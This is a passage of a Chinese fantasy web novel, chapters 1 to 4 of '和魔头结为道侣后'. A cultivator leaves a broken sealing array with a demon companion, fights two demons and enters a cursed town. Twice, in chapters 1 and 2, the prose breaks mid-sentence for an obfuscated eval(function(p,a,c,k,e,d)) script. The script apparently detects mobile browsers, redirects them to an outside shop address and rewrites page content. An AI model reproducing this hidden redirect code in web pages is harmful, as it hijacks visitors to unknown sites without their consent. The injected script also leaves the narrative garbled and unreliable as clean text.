《和魔头结为道侣后》 1. 破阵(一) “封魔阵破了!那端木纤呢?” “那还用说,肯定死啦!宗主不是说,此阵坚不可摧,倘若破了即刻摧毁阵中所有生灵……” “哎可惜了……” “有何可惜?嘁!端木纤修为低下,白白占了宗主亲传一位多年,即便有三灵核又如何啊?入门十几年都没有修来一道天雷劫呐!要我说,当初是宗主和大师兄都看走了眼!” “岂止看走眼,根本是养虎为患!我就说她总为魔物说话绝不简单,这不,五大长老被证实确为她所杀!她在躲进封魔阵前还恬不知耻地倒打一耙,说是六师兄诬蔑她!这些年大师兄和六师兄的关系你们也都瞧见了!惨不忍睹啊!” “依各位师兄所说,这位端木师姐岂不是修为差、人品差,一无是处了?” “那倒也不是……她长得很美,你若见到她,就能知道何谓‘以月为神、以玉为骨’,瑰姿玮态,不可胜赞了……” 无论是谩骂、讽刺、猜疑还是欣赏的话语都传不入阿纤的耳中,此刻能被她听见的,只有近在身侧一声:“阿纤?” 阿纤回过神,余光瞥见一只油光微凝的烤鸡腿。 看着这只刚撕下来的鸡腿阿纤才想起,封魔阵炸掉前,她和越衡正准备吃午饭。 鸡是越衡精心饲养一百四十五天的放养林间走地鸡,阿纤偶尔会摘点桑葚、野草莓或者去溪边挖蚯蚓喂它们。 好不容易养肥了,今日全给封魔阵陪葬了。 ——只剩下这只刚烤好的被越衡及时塞进乾坤袋里幸存下来。 “在想什么?”因为阿纤迟迟不接,越衡面上也有了思量之色。 “想我们第一次见面时,你跟我说的第一句话也是鸡。”阿纤笑着接过鸡腿,低头咬了口。 十一年前,阿纤被封魔阵的力量震晕过去,不知过了多久才在草坪上醒来,几只羽毛鲜亮的野鸡正在她旁边啄食,而越衡,这个被关在封魔阵里的魔头,端着簸箕对她说的第一句话是:“你压到我鸡了。” “我那时候还在想,要赔吗?”说到这,阿纤忍不住笑了。 至今她还是觉得不可思议。 一个被关在封魔阵里的魔头,居然像个普通人一样住着小木屋、养着鸡。 阿纤见过的魔物很多都是极端的情绪化身,譬如怨恨、愤怒、嫉妒……这些强烈的执念驱使他们无比偏执、疯狂,根本不可能过平淡的日子。 越衡和他们不一样。 所以,最后她没赔那只鸡,还吃了一大半。 那是阿纤吃过最好吃的烤鸡。 后来越衡给她培育了一代代肉质更嫩的野鸡,还想着法子做更好吃的烤鸡。 封魔阵会限制魔物的灵力,但对修士并无影响,阿纤每日还要花九个时辰炼化五行之气。 越衡从不干涉她,还包揽了砍柴、种菜、打猎等等活计,她只用在封魔阵里安心修炼。 对此,阿纤很是感激,又无以为报,便生出想帮他的想法。 越衡虽是魔,但还未身死。 玄门除魔,一向是以“灭”为法,但阿纤却发现,倘若能够找到此人入魔的缘由,通过让其释解执念,是可以消除魔气,恢复人样。 于是,除了“灭”之外,便又有了第二条除魔路——解。 只是这个法子没有“灭”快速简单,愿意费事的修士并不多。 不过阿纤愿意在越衡身上费事。 倘若能够在越衡的身躯完全同化为魔前释解他的执念,他还有机会褪去魔身重新做回人。 可难的是,越衡不记得自己是谁,又是因为什么事成魔。 权宜之下,阿纤提出与他结下道侣。 为的就是能够安全地进出他的灵府,帮助他找回有用的记忆。 但尝试不下数百次,阿纤都无功而返。 等回头再想解开两人的契约,却发现不知什么时候夫妻宫已被成千上百根金色锁链锁住,阿纤解不开。 一定是她搞错了什么,好在越衡大度,轻易原谅了她的失误,并且给她连烤了三日不同味道的烤鸡。 这事就不了了之了。 其实阿纤也想过,若是一直在封魔阵里,两人这样过下去算不算夫妻? 阿纤可以说很少拥有正常的生活、正常的关系。 就是在四非宗做弟子时,除了大师兄对她毫无保留地照顾,其他人似乎对她有各式各样的挑剔,各种各样的不满。 太强是威胁,太弱是废物。 阿纤总是没能把握好这个度。 抑或着说,她可能在惹人讨厌这件事上天赋异禀,无人能及? 不过,越衡从不关注她的强或弱,只会关心她今天的鸡想怎么吃。 所以她在封魔阵度过了一段难得安稳平静甚至舒适的时光。 要不是一个时辰前两个魔物来偷袭她,还弄破了阵。 阿纤其实都不愿意离开封魔阵。 四非宗认定五大长老的死得她负责,可这事不好解释,她只能考虑带越衡干脆远走高飞好了。 收回望向天空飞鸟的视线,阿纤思索啃着烤鸡,思索着往后的日子该怎么过。 “叮——咚——叮——咚——” 铜铃间响,老牛拖着车载着阿纤两人离开青萝山,赶牛的老人正坐在前辕与孙女小花低声说着话。 这小姑娘得了失魂症,到处都看不好,老人特意借钱来四非宗,没想到仙师也无能为力,只能带着孩子回家,倒是让阿纤捡了个便利。 失魂症没有完全影响小花的行动,只是让她记性时好时坏,比如前一刻她问过的问题她又会重复问。 这一路阿纤已经听老人说了四回:“蛇其实并不很凶残,相反它更像是你所认知的小兔子,有些呆傻,它辨别东西靠的是气味,它用尾巴缠住主人的手腕是因为害怕掉下去,它不喜欢人的体温,捂热后就会换个地方,喜欢偷偷观察主人,要是被发现的话会生气……” 女孩正在摆弄手上一只小蛇。 那是她的宠物。 阿纤其实有些怕蛇所以十分佩服这小姑娘能盘着蛇玩,要是蛇落到她手上,她可能会直接扔到一里外去。 小姑娘却一点也不怕,捧着小蛇,脑袋一晃一晃,脖子上挂着一个黑银项圈也会丁零当啷响,仔细看,款式与越衡戴的还有些相似,她不禁细细研究起来,小姑娘发现她的目光后就朝她笑,阿纤扯下一只烤鸡翅投喂。 小女孩咬了一口:“哇,好吃!爷爷烤鸡好吃……爷爷你给我讲讲小蛇的特性吧!” 她又忘记了。 阿纤都要替老人叹气,回过头见越衡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401560|200416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正盯着她。 “怎么了?” “那是我给你的烤鸡。” 从前在封魔阵里只有他们两人,阿纤都不知道越衡会在意这样的事。 “不可以给别人吃吗? “不能。” 阿纤好脾气认错道:“对不起,我知道了以后不会了,别不高兴,这样吧!我送你一件礼物。” 她打开手掌,手心放着一个圆形项坠。 碎光闪闪,似银又似玉。 这东西她已经在手里盘了许久,这一路都在考虑怎么给出去。 但越衡毫无防备地拿起,发丝下金色的竖瞳转到眼角,问她:“这是礼物?” “嗯,其实不是。”阿纤诚实道:“戴上它会限制你九成九的灵力,也会让你看起来像个普通人,就不会被其他修士发现你的魔身。” 这是她能让越衡这个魔头完美隐于人群,也是防止他作乱人世的法子。 虽然越衡说自己进到封魔阵并非因为作恶的原因。 既没作恶,宗主又怎会将他抓进来? 魔物会说谎,阿纤也不会盲目尽信,她更愿意相信越衡是改邪归正了。 “你也可以选择不戴,不过……” 阿纤话还没说完,越衡已经戴上了。 “咔咔”两声,银环最中间的圆形飞快缩小至细细的一条弯钩,越衡的眼睛也变成墨黑的圆瞳仁,与常人无异。 越衡的果断让阿纤有一会怔愣,她顿了下,才说出自己的想法:“……你姓越,或许与皇族有关,我们可以先去北方皇都瞧一瞧。” 越衡神色莫测,就像是野兽总是难以相信人的善意。 阿纤偏头,认真道:“我说过,想帮你重新变成人,不是骗你的。” 越衡问:“这样,算是对我好吗?” 魔物当久了,除了执念最深的情感,其他不重要的都会渐渐遗忘。 所以阿纤每每都会认真回答越衡诸如此类的问题。 “是的,这算我对你的好。” 越衡没再说话。 风吹着头顶的树叶沙沙乱响。 外面连风都比封魔阵里的要大。 阿纤送他的项坠,上面犹带着阿纤的体温,还有丝淡淡的气息。 他长指捏着那温热的项坠,反复把自己的温度揉进去,余光落在开始打坐的阿纤身上。 阳光从阿纤头顶撒落,飞扬的发丝微微泛红,额头鼻尖尤为白,浅浅透出下边肌理的暖色,那浓长眼睫随着呼吸起伏轻颤,像破茧欲飞的蝶。 她的唇似翘未翘,唇珠上也沾了一点金色的光,莹莹亮亮,显得饱满柔软。 越衡从正坐着变成身子歪靠在车壁,一手懒洋洋托着腮,另一只手还没离开那项坠。 有人给猫绑上丝带,也有给狗戴上项圈,人与动物有着不同但相似的圈地方式。 阿纤给他这样的“魔物”戴上项坠,也是想要把他占为己有吗? 她占了他的床、吃了他的鸡,要他照顾到方方面面,还要让他戴上限制的法器,独断地决定要帮他恢复到“人”。 自私的人类。 他最厌恶痛恨了。 所以他会一直一直盯着她,日与夜不断,直到她认出他,并且明确知道——她是永远无法改变他。 2. 破阵(二) 今日发生的事情太多,阿纤的心始终不平静,修炼都比往常缓慢,她用了半个时辰把周身都检查了三遍,并无淤塞拥堵的地方。 这太古怪了。 难道是因为从封魔阵出来的缘故吗? 阿纤从灵府中抽离,四周的信息迅速涌入她的脑海。 远处的鸟叫、近旁的花香,还有一道奇怪的视线。 只是她才动了下睫毛,被盯着的感觉转瞬就消失了,仿佛一滴水融入水潭,难寻踪迹。 但阿纤还是转过了头。 越衡托着腮,正认真看着那些被牛车慢悠悠甩在后头的树丛、灌木,连半个眼神都没有扫过来。 阿纤有点无奈。 远的不说她是个修士,五感远超普通人,林子里的花是红是黄的都能轻易分辨,就近的说,这牛车后面再没有第三个人…… 所以阿纤大大方方盯着越衡。 大概好看的人都有相似之处,越衡其实有几分故人之姿,尤其是侧脸,冷峻的眉骨下藏着那双深邃的瑞凤眼,眼型窄长,只是看她时总是喜欢垂搭着眼皮从上俯视,有些慵懒随意,浓密纤长的睫毛半晌才动一下,像是动物盯紧猎物的专注,又好像单纯只是懒得挪开视线。 他的鼻梁挺直,上下唇不厚不薄贴着,由于习惯微昂起头,颈侧牵起长筋总是像条锋利向下的线,隐入他的衣襟深处。 他不是那种温润的长相,而是骨重神寒,仿佛生来该是不受尘垢的天人。 越室皇族生不出这样的后代,阿纤其实并不觉得他会是皇族中人,但是越姓不是普通人可以用的,只能说他兴许与皇族有些别的关联。 越衡终于重新扭回头,语气有些低:“你在看什么?” “看你什么时候能感受到我在看你。”阿纤认真回答,又温和询问:“戴上那个后,你的感知能力也会下降吗?” 这就好比给狗带了链子还关心链子冰不冰狗一样。 越衡不想回答,反问:“你今日修炼不顺利?” 阿纤如实道:“确实不太对劲。” 虽说封魔阵所在的青萝山谷底是难得风水宝地,四非宗的其他地方都远不及它。 但一个地方的灵气多少,也仅仅只会影响她吸纳炼化的速度,并不会造成吃力感。 这种吃力更接近于溺水的人无法从水里得到所需的空气,实在奇怪。 “你说在封魔阵里袭击你的两只魔物并不恋战,只是和你打了个照面就逃了,他们不是专门来找你的么?” 阿纤原本也以为是自己曾经不知道得罪了哪个魔头,但回想了下,又觉得不至于,便道:“不像是专门来找我的,像是找别的东西,顺便打了我一下。” 越衡:“是什么?” 阿纤扯着一左一右两条月相耳坠回想。 封魔阵在设下的同时被藏入了一道杀招,据说是一旦阵毁,就会绞杀里面所有生灵,所以在封魔阵破之前,阿纤听见远处有奇怪的异动才会放下午饭前去观察。 她花了一刻钟到达封魔阵的中央,就见到两个魔物骑在一只尸骨鸟徘徊在封魔阵上方,他们手里垂了一根黑绳往上收。 那黑绳想来也是一件法器,可无视封魔阵的结界从中取物。 “是一盏琉璃灯?”阿纤想到这里,分析道:“因为是灯所以才会发出刺眼的光……封魔阵的阵眼莫非就是一盏琉璃灯?” 因为魔物取走了灯,阵眼被破坏,所以封魔阵才会整个溃散。 阿纤道:“我听大师兄说过,好像是从姑灌山带回来的,不过我也没亲眼见过,原来是当做了封魔阵的阵眼。” 越衡垂下眼睫,眼下的肌肤上落下一层浅灰的阴翳。 他不知道在想什么,手指习惯性勾在他那件项圈上一点一点。 阿纤的注意力也落到他的项圈上,这东西从她见越衡第一面时就挂在他脖子上,是一件旧物。 “你这个项圈看起来和小花的款式很像,只是更精致一些,有没有可能是出自同一个地方呢?” 越衡的手指不点了,抬起眼看她。 阿纤不愿放过一点线索,知道越衡不记得,扭头就去问前头的老人。 老人回道:“姑娘猜的不错,这是老叟家乡的习俗。”他叹了口气,“中间那个云又叫压运,谁家孩子身体不好命格弱戴上这个能够把好运留住。” 阿纤仔细看了眼,越衡戴的果然也是个云形。 “老人家,你哪里人?” “离这儿不远,鸡鸣县。” 阿纤当即表示要一起去。 老人高兴地应了,还主动介绍起风土人情。 其实阿纤很久之前也去过鸡鸣县,但听老人所述,这些年鸡鸣县的变化很大。 只有两千户居民的小县曾经并不繁荣,十年前通了官道,往来商客络绎不绝,这才变得热闹。 老人忽而问:“姑娘也是修士吧。” 阿纤笑道:“是啊,不过无名之辈。” 老人摇摇头道:“能够修行就胜过许多,像我们这样的普通人没有灵核就无法感受五行之气,连去外门做苦力玄门也是不要的,我是真的羡慕。”他摸着孙女的脑袋,“若是有钱的话,还真想去试试红颜丹,就是太昂贵了,普通人消受不起啊。” “红颜丹是什么?”阿纤没听过。 老人道:“我也是听人说,那是一种能让有灵核之人修为大涨,让没灵核之人生出灵核的仙丹!” 阿纤好奇:“增长修为的天材地宝倒是有,但从未听说有什么丹药能够让人长出灵核来,该不是胡诌骗人的吧?” 老头犹豫了下,道:“可我听说金阙宗宗主就是服用了一颗红颜丹招来了天雷,历经万险,几乎重伤濒死,但还留有一口气,现在已经是天雷境了!” 玄门修士的修为高低以其渡过的天雷划分九境,从下至上分别为初雷、堪雷、阴雷、阳雷、相雷、灵雷、天雷、神雷。 每次渡雷劫都有无数修士因此而死,所以修士们对天雷劫是又爱又怕。 这世上天雷境以上的修士寥寥无几,实在是一件可喜可贺之事。 越衡在旁边很轻地“哼”了声。 阿纤听见了,问:“你认识金阙宗宗主?” 越衡道:“不认识。” 阿纤笑:“那你哼什么?” 越衡道:“遗憾他没有被雷劈死。” “你在外面可不能随便对修士说被雷劈死啊。”阿纤好心提醒。 修士们最忌讳的就是这句话,因为他们真的能被天雷劈死。 越衡不置可否。 牛车慢悠悠走了一天一夜,临近鸡鸣县,老人心情放松,话也密了起来,还详细介绍起鸡鸣县的美食。 “姑娘你喜欢吃烤鸡的话真的不能错过一家老店……” 他话还没完,一个熊熊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401561|200416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燃烧的巨大火球从天而降,不等所有人反应,“轰”得一声把整个牛车往地下砸出一个深坑。 滚滚浓烟往天上涌,半空中隐隐显露出一只巨大的鸟以及鸟背上驮着两个人样的东西。 “这些法器还真不赖,隐身、攻击都实用。” 另一个声音不屑道:“对付修为如此低下的人实属杀鸡用牛刀。” / “端木纤死了吗?!”有人心急,直接开问。 一天一夜,弟子们在封魔阵里活不见人死不见尸,只能回到弟子堂看牌子。 四非宗弟子堂有古建木,建木垂丝千缕,每一根上都挂着一块与宗门弟子密切相关的牌子,名字是用生死树树汁所写,若是弟子身死,则红色褪去,这与众妙门为弟子点命灯类似。 看守的弟子猛摇头,又指着建木语无伦次道:“刚刚、刚刚、刚刚……刚刚阿纤师姐的命牌突然飞了上去,真的,它突然飞到了上面!咻得一下就飞上去了!她飞上去了!飞到大师兄……” 一个急性子打断他:“怎么可能?你眼花了吧!” 建木上的弟子牌不但能够显示弟子安危,更是一个排行榜,根据弟子们修为高低排。 为力争前排,排行榜上的竞争一年比一年激烈。大家都努力修行,或炼神丹妙药,或抢天灵地宝,都是为的早日修得天雷劫提升自己的修为。 只有阿纤从入门起就稳稳地挂在弟子榜的尾巴上,任旁边内门、外门弟子上上下下,只有她坚如磐石,岿然不动。 一度还成为新弟子们的榜样。 ——“超过阿纤师姐我们就算入门了!” 这是一个非常容易达成的目标,对于建设新弟子信心可所谓功不可没。 因为修为低下,阿纤下山降魔除妖时表现也不尽人意,众弟子奋力杀魔归来,要不满身疲惫,要不伤痕累累,唯有阿纤每每完好无缺,连片袖子都不会损坏,一看就是躲旁边偷闲去了,让人不耻。 要不是宗主亲传,要不是大师兄无脑罩着她,早给看不顺眼的套麻袋揍了。 大家能够明目张胆对阿纤表示不满,也是因为她虽然有三灵核这样天赋,但修为实在不堪入目。 修士靠实力说话,即便是大家族若是没有能撑得起门面的强者也会很快就被其他人踩到脚底下,彻底没落。 “不会的!建木是不能做假的!”看守建木多年的弟子大声道。 这么多年来,建木都会精确地记录每个挂着命牌的弟子,弟子们可以看见自己的进步以及与他人的差距。 四非宗几乎九成九的人都持有相同的念头:建木乃古神木,是不会被欺骗、篡改的。 / 浓烟还未散去,火星子点燃旁边干燥的树叶,大火熊熊燃烧,很快就能烧起来。 这不是魔物会关心并且担忧的事。 他们在空中徘徊了一阵,就往外飞去。 这时一道从容女声传出:“水之令·琉璃界。” 咔嚓咔嚓咔嚓—— 冰层迅速扩张的细微声音被魔物敏锐的听觉捕捉。 浓雾瞬间消失,犹如被无形而强大的力量荡尽,地面上冰霜凝结,连树上的火都被冻在摇曳的那一刻。 半空中还有无数细小的尘埃在飞快长出六棱,反射出的阳光都不再带有温度。 垂着双辫的女子手掐法印正站在坑中,却连片袖子都没有损坏。 3. 鸡鸣(一) “她、她竟然没事!”魔物虽然还处于隐身状态,但是莫名觉得那女子扬起的视线已经精准捕捉到了他们的身影,顿时毛骨悚然。 但眼下这种状况,他们也不敢轻举妄动。 琉璃界乃大型冰系法术发动前的准备,一般来说进入琉璃界后若非有强大的护身法术或者法器,否则擅动将会是一件危险的事。 因为此界之中任何水都可能变成冰,而冰可以又变成任何锋利而致命的武器。 也不怪两个魔物反应迟钝,因为在此之前他们还不知道这个修为低下的女修能够将琉璃界转瞬就铺到如此大的范围,简直让人不敢置信! 阿纤也有点不敢置信。 她看了眼自己的手指。 力量,有些失控了? “祖父!”小花受到惊吓,埋头在老人的怀里哭叫,牛也受惊不小,哞哞直叫。 而越衡拍了拍袖子,同样毫无损伤,连面色都没有改变分毫。 阿纤见状又心想:虽然失控了但是幸亏是往大了去,起码连人带牛全保住了。 她抬起头望向空中还没显身的两个魔物,“是你们在封魔阵里偷了东西?” 这两个魔物给阿纤的感觉很熟悉,毕竟才交手过,她不会认错。 魔物犹豫了一会才与她搭话:“是又如何!” 另一个叫嚣道:“这次算你走运,识相点就别阻碍我们,否则等我们少主来了你就完蛋了!” 阿纤没有一点害怕,反而问: “你们偷的东西是做什么用的?” 魔物道:“你是不是蠢的,你是修士我们是魔,我们想做什么怎么可能告诉你?” 阿纤看了眼越衡。 越衡道:“我和他们不一样,不用顾虑我。” 两个魔物正奇怪着,这修士动不动手要顾及一个普通人做什么,周围的空气转瞬就变了。 他们连忙扔出防御法器,冰棱冲上去纷纷掉落下来,半空显出一个半圆龟壳的轮廓。 阿纤道:“那是什么东西?看起来还挺坚固的。” 魔物得意道:“当然,这是阳雷境器师亲手打造……” 话音还未落,他声音陡然一转:“怎么可能!” 保护他们的龟壳“咔咔”两声,轰然碎裂。 阿纤纵身而起,悬于两魔身前,小臂一甩握住一柄极窄而长的剑,再次问:“那灯是做什么用的?” 两个魔物理直气壮:“不知道!” “我们就是听命行事!” 阿纤换了个问题:“你们少主是什么人?” “不……”两魔物还想糊弄。 半空中数百个晶片转瞬就凝出锋刺,对准魔物脆弱的脖颈和心脏。 两个魔物惊恐万分,眼珠子疯狂在眼眶里震颤。 他们连这个少女如何出现在眼前都不知道,更别说周围的磅礴灵力刺得他们三魂七魄都在抽搐扭动。 倘若不回复的话,就要死了。 会死的。 任何生物都有极其怕死的存在,无论是人还是魔物。 一个魔物撑不住惧意,忍不住开了口:“是、是……” “啪叽”“啪叽” 接连两声肉.体爆炸的声音让阿纤也瞳孔一震,她迅速后撤,血雨从天而降,哗啦啦浇了一地。 小花与老人的尖叫声直冲云霄。 这样直观而血腥的画面足以让人做七天噩梦。 阿纤错了一下神,尸骨巨鸟扭头叼起一个东西振翅飞向高空,眨眼就拉开距离,消失在视线里。 它带走的东西就是阿纤之前看见的那盏琉璃灯。 阿纤没有料到尸骨鸟能够自己行动,又心想:莫非这两个魔物自爆是为了让这个尸骨鸟趁机逃离琉璃界? 但转瞬她就否认了这个想法,因为他们怕死的模样不像作伪。 那就是在他们准备背叛那个“少主”的时候,先被少主制裁了。 拂?符?浮? 魔物死之前也只来得及发出第一个音——类似拂。 若是姓氏的话都有好几个,要只是个名字或者代号那就更无意义。 阿纤用土系术法把魔物的污血残块掩埋到地下,只剩下焦土一片,小花还在哭泣,老人怎么也哄不好。 阿纤怕孩子吓出阴影,出声叫她抬起头看,又手掐出木诀:“木之令·逢春。” 草叶生长的声音其实很轻微,但是清新的气味很明显,小花放下捂眼睛的手。 “哇!开花了!”她眼泪还没干,但注意力完全被眼前的美景吸引。 刚刚还焦黑的土地已经生满绿草,各色各样的花纷纷绽放,馥郁的花香遮住弥漫的浓腥血臭。 阿纤蹲在路边摘了一朵花。 “你勤勤恳恳修炼却把灵力用在这种地方?”越衡是最知道阿纤努力的人,他原本以为她是追求实力强大的人,但没想到会浪费到这样无用的东西上。 “这是我学会的第一个术法。”阿纤却一笑,仿佛想起了什么趣事。 越衡平静问:“谁教你这样没用的法术?” “它既然被创造出来,就是有用的。”阿纤站起身,把花递给越衡:“它能让一个小姑娘高兴,就不是没有用。” 越衡接过花,道:“我不是小姑娘。” “那时候的我是。”阿纤把从肩头滑下的发束重新拨到身后去,又看向小花,“现在的她也是。” 恐怖的魔物已经被美丽的花海替代,小姑娘抱着一捧花枕在祖父的腿上恬静地睡了过去。 阿纤难得感受疲困袭来,撑着脑袋没一会居然也睡着了。 花香萦绕,连梦里都是香的。 她好像躺在花海里,阳光的亮度与热度透过眼皮,十分温暖惬意,她闭着眼睛不愿睁开,直到一道阴影罩到她上方。 “你该下山了。” 阿纤微惊。 她能够明确知道自己睡着了在做梦,却没有想到还能够梦见他。 她睁开眼睛,努力想看清那人的模样,但始终只有一道逆光的影子在她的眼前。 “看,前面就是鸡鸣县了!”老人高兴道:“你们可以去引书客栈住,那是县里最大最好的客栈,虽然离主路有点距离,不过价格公道,好多人都选在那儿休息……” 说着话,牛车已经接近鸡鸣县城门,城门口连城卫都没有,老人刚死里逃生都顾不上这一点,只催促着老牛快点往家赶。 牛拉着车穿过石头砌成的城门洞,当阴影笼罩住头顶时,越衡的右眼短暂地一亮,金色的竖瞳刚显就消,旁边的阿纤正好睁开双眼。 “欸,怎么天就暗了?”老人错愕的声音响起。 阿纤抬起头。 日落之后的天幕犹如没有被水化开的靛蓝,颜色浓烈、没有任何杂质,一轮将满未满的盈月虚浮在高空。 “不是让你看着城门,别让倒霉蛋进来了吗?”一背着陌刀的黄衣少年揪住一个红衣少年的袖子。 红衣少年两手比划:“我就是去小解一下,哪知道刚好就有人进来了!更何况我这里还立了一个牌子,你看你看,上面写着——此、门、不、通。” “通”字还没落下,“嗙”得一声,整个牌子被黄衣少年一脚踹飞了。 黄衣少年怒道:“你猪啊,大门敞着,你这样写谁会信啊!” 老头听见他们在为他吵,欲哭无泪道:“小老儿也不识字啊!” “祖父?”小花迷迷瞪瞪醒来,揉着睡眼问,“他们是谁啊?” 老人问:“是啊,二位是什么人啊?” 正在打架的少年一顿,两个人四只手交错抓在对方头发、衣襟、肩膀和脸上。 一个被拉着脸,面无表情:“金阙宗弟子。” 一个呲着牙,痛苦万分:“在下众妙门齐呼星,他叫辛可易。” 阿纤和越衡也从牛车上下来,听他们二人讲述。 “你们别往里面去了,这鸡鸣县有古怪,我们都出不去了,三天了!这个天色一直是这样,没有变过。”红衣少年脸色故作高深道。 老人惊讶:“啊?” “除了那个月亮有细微的 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辛可易补充道:“进到里面的人还没有一个出来的,我劝你们也别想着进去,不如和我们一起在这里等人来救。” “你有什么法子往外传递消息?”阿纤疑惑问。 齐呼星又挤出声音:“他有只金雀鸟,飞出去了。” “你是说地上那只?”越衡不怎么好心地往外指了一下。 在进城前车旁边就有东西“啾”了一声,他没在意。 辛可易立刻放开齐呼星奔到城门口,脸挤在那看不见却强大的结界上,大声叫:“翠翠!” “啾……啾……”翠翠虚弱地伏在地上,小脑袋抬了下就无力地搁下了。 辛可易难过:“翠翠……” 齐呼星在旁边冷不丁解说道:“它好像在说,主公,我尽忠了。” 辛可易又猛捶齐呼星。 齐呼星大叫:“你们金阙宗的灵鸟又不是真的鸟,它不会死,最多就是消失一段时间啊……别打了!可恶我要还手了!” 两人打完一通,脱力后坐到路边木桩上喘气。 阿纤朝浓雾里张望,齐呼星一下又跳了下来,道:“你、你要进去吗?” 阿纤点点头。 不进去在外面也只能等死。 老人和小花紧跟在她身后。 阿纤对两人道:“你们祖孙俩就留在外边吧,别让其他人再进城了,若是月亮完全消失前不能解开这个域,里面的人都要死的。” 老人和小花愕然地睁大眼睛当场吓傻了,阿纤看了两人恐惧的神色,又道:“不过一般来说不会到那一步。” 她补充晚了,两人已经给吓得惶惶不安,阿纤只好在地上给他们画了一个圈道:“这个圈有法力,你们遇到危险就往里面跑。” 见识过她打魔物,两人坚信不疑这个圈有强大法力,也不再执着要跟着进到更危险的城内。 齐呼星拉住辛可易,“我们要进去!有什么忙也能帮上!” 阿纤笑眼弯弯问:“你们不是害怕吗?” 刚刚乱糟糟的齐呼星还没意识到这位年轻的女修长得很漂亮,一想到自己和辛可易打得乱七八糟形象全无,面红耳赤挽尊:“我们那不叫害怕,是谨慎!” “而且你不是说,如果解决不了域,整个鸡鸣县都会完蛋吗?这么多条性命,我们身为玄门子弟,岂能坐视不管?”这句话齐呼星说得很真诚。 阿纤重新看了眼他,欣慰道:“玄门能有你们,未来可期。” 齐呼星高兴地挠起头,辛可易则轻哼了声,“还用你说。” 至于越衡,阿纤才瞟过去一眼。 越衡问:“你放心把我和他们留着这?” 老人和小花两脸懵懵。 阿纤好脾气道:“我本来是要问你,愿不愿意和我一起进去,如果你愿意的话,那就太好了。” 她眼弯弯一笑,肌映流霞,秋波流慧。 真诚的模样就好像她真的一开始就这么想的。 4. 鸡鸣(二) 两年轻人刚出师门历练,对于域这种东西只听闻过却没真正遇过,只能依靠阿纤的讲解。 “这么说,解开域的方法就是帮所谓的域主解开他的执念?” 阿纤点头:“你们既然都是玄门弟子,想必师父也教过,魔物原本都是人,只有强烈欲望的人才能变成魔物。” 说到这,阿纤忍不住瞥向越衡。 他这种成了魔也淡淡的不知道会是什么强烈的欲望、执念。 越衡自然地迎上她的视线,阿纤冲他笑了笑,继续对两位少年解释:“若魔物的执念得以消解,它也就不是魔物了,这个域自然就不存在了。” 辛可易道:“按阿纤姑娘的说法,如果我们找到魔物,把他杀了,这个域一样能够解开不是?” 阿纤道:“你说得不错,但是一般不建议这么做。” “为什么?”齐呼星问。 “因为你不能保证一击毙命的话,反而会激怒魔物。”她指着天上的月亮。 齐呼星这次也留意到了,月亮看起来又小了。 阿纤道:“在域里,五行之气无法再补充,修士消耗五行之气,也会加速域的恶变。” 齐呼星和辛可易面面相觑。 “阿纤姑娘的意思是,我们如今不能再引入新的五行之气否则这个域会加快毁灭?” “不错,所以要省着点用了。” 齐呼星长舒一口气道:“幸好,我这里还有储存的五行之气,够我们用个几天的了!”他拍了拍自己放百宝囊的胸口。 阿纤露出不解。 辛可易解释道:“众妙门新研制出来可以储存大量五行之气的法器,可以随时补充,而他正好是众妙门二公子……” 齐呼星“嘿嘿”挠着头,很不好意思的样子。 辛可易忍不住道:“我没有夸你的意思。” 齐呼星理所应当:“我知道啊,但我还是觉得很值得骄傲。” “那也是你哥的功劳,与你有何干系?” “对啊,那是我哥,与有荣焉!” 多亏两人吵吵闹闹,阿纤从中得到了不少信息。 与世隔绝十一年,外面的变化还真大。 先是那个传言能够让人生出灵核的红颜丹,又有储存大量五行之气的法器。 “对了,我们要怎么找出域主?” 走入鸡鸣县的主街道,周围都是寻常百姓,这些人完全没留意到天空的异样,仿佛天就该是十二个时辰一种颜色。 阿纤指着路边的茶摊道:“我渴了,先去喝点茶吧,对了,你们带钱了吗?” 鸡鸣县的百姓日子过得悠闲,茶馆酒楼云立,大家都喜欢聚在一起嗑瓜子唠嗑。 若是想要知道最近县城里发生的事呐,只要找个地方坐下,准能听得七七八八。 这不,阿纤才坐下没多久,就听到了鸡鸣县一件大事——连环杀人案。 原本一直平静的小县接连死了四个人,其中离奇古怪,众说纷纭。 众人都说这件事与陈宝书脱不开干系。 “陈宝书是个什么样的人呀?” 阿纤雪肤玉貌,声音悦耳,看着年纪不大,活脱脱一个天真随性的姑娘,姑娘好奇些想听故事有什么错?马上就有热心人你一嘴我一嘴,介绍起来。 原来,这个陈宝书是本地有名的横财大户。 他年少时家人被魔物杀害,独自逃难到一座山上,幸得高人庇护保全了性命,几年后他辗转流落到鸡鸣县,机缘巧合间救下一位商人,这位商人没有妻儿就收他做义子,死前便把家产全传给了他。 陈宝书起初也很卖力,经常跟着商队走南闯北。 后来外面的魔物越来越多,陈宝书也觉得自己没有经商天赋就把商队卖了,在县子外边买下一片荒坟地,还没等雇人打理就被不知哪来的有钱人开出十倍高价买走,说是什么风水宝地。 在山林养老的计划被打破,陈宝书干脆回到鸡鸣县,又打算开一家客栈。 原本鸡鸣县是没有单纯的客栈,因为往来的旅人并不多,在酒馆凑合凑合便是。 他低价购入一栋没人要的老房子推倒重建,结果在地基下挖出一柄神兵! “神兵?!”齐呼星听到这里来劲了,连声问:“什么神兵?” 